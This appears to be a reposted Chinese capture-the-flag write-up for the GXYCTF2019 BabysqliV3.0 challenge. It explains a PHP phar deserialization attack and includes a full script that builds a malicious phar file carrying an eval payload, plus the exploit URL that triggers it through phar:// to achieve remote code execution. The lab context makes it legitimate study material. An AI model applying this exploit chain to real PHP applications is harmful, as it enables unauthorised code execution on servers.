[GXYCTF2019]BabysqliV3.0-phar反序列化正解

Posted hunpi

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[GXYCTF2019]BabysqliV3.0-phar反序列化正解相关的知识,希望对你有一定的参考价值。


  CSDN已经记录登录过程,弱口令登录,不再赘述。

phar反序列化漏洞利用条件

  可以上传文件。可以执行命令的魔法函数。可以解析phar的函数,并且参数可控。

  (1)upload.php可以上传文件。

  (2)upload.php,具有执行命令的魔法函数。

class Uploader{
	public $Filename;
	public $cmd;
	public $token;

function __destruct(){
		if($this->token != $_SESSION['user']){
			$this->cmd = "die('check token falied!');";
		}
		eval($this->cmd);
	}
}

  (3)home.php,具有解析phar的require()函数,但是参数file不可控。upload.php文件,$this->Filename = $_GET['name'];file_get_contents($uploader);。Filename参数完全可控,如果传入phar://文件,就会通过file_get_contents()进行反序列化操作,执行cmd。
  确定可利用参数是upload.php文件的name。

构造payload文件

  根据class和__destruct()构造phar文件:generate-phar.php

<?php
    class Uploader {
	public $Filename;
	public $cmd;
	public $token;

    }
    $o = new Uploader();
    
    $o -> Filename = "test";
    $o -> token = "GXYc893af63052665fd0e5b3bb39cbe1c00";
    $o -> cmd='highlight_file("/var/www/html/flag.php");';


    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("GIF89A"."<?php __HALT_COMPILER(); ?>"); //设置stub
   
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();

?>

漏洞利用

  (1)准备文件:上传phar文件到服务器。(需要构造session)
返回路径:/var/www/html/uploads/d41d8cd98f00b204e9800998ecf8427e/.txt,可以访问以确定文件存在。

  (2)通过可控参数name调用phar://phar.phar文件,实现反序列化RCE。在upload.php中,调用file_get_contents()有前提条件if(isset($_FILES['file']))。因此在调用参数时,需要上传一个文件通过if语句。

  Payload:

http://9bd5537f-763f-49c1-83cb-ac03aeea4a81.node3.buuoj.cn/home.php?file=upload&name=phar:///var/www/html/uploads/2560507db2e4116d7e85053854639258/GXYc7669fdd11003a0c83cd68cc62f0dd14.txt

参考

  攻击链:

	file_get_contents()使$uploader对象通过__toString()返回$this->Filename,
由于phar://伪协议可以不依赖unserialize()直接进行反序列化操作,加之$this->Filename可控,
因此此处$this->Filename配合phar反序列化后,__destruct()方法内eval($this->cmd);最终导致了远程代码执行

  《BUU CTF web(四)》-灰信网,
https://www.freesion.com/article/2410654149/


收获

  理解了实战中的应用场景和步骤。梳理清楚攻击链的步骤,才能够有效利用!
(1)根据类、魔法函数构造phar文件,上传到服务器端,并且要知道相对路径/绝对路径。
(2)找到可控的参数,向参数传值phar://phar文件,实现反序列化漏洞RCE。

  通过phar://调用.txt文件,也可以实现反序列化漏洞。

以上是关于[GXYCTF2019]BabysqliV3.0-phar反序列化正解的主要内容,如果未能解决你的问题,请参考以下文章

[GXYCTF2019]BabysqliV3.0:伪sql注入_实Phar反序列化

BUUCTF | [GXYCTF2019]BabySQli

BUUCTF | [GXYCTF2019]BabySQli

[GXYCTF2019]BabyUpload

[GXYCTF2019]禁止套娃

[GXYCTF2019]禁止套娃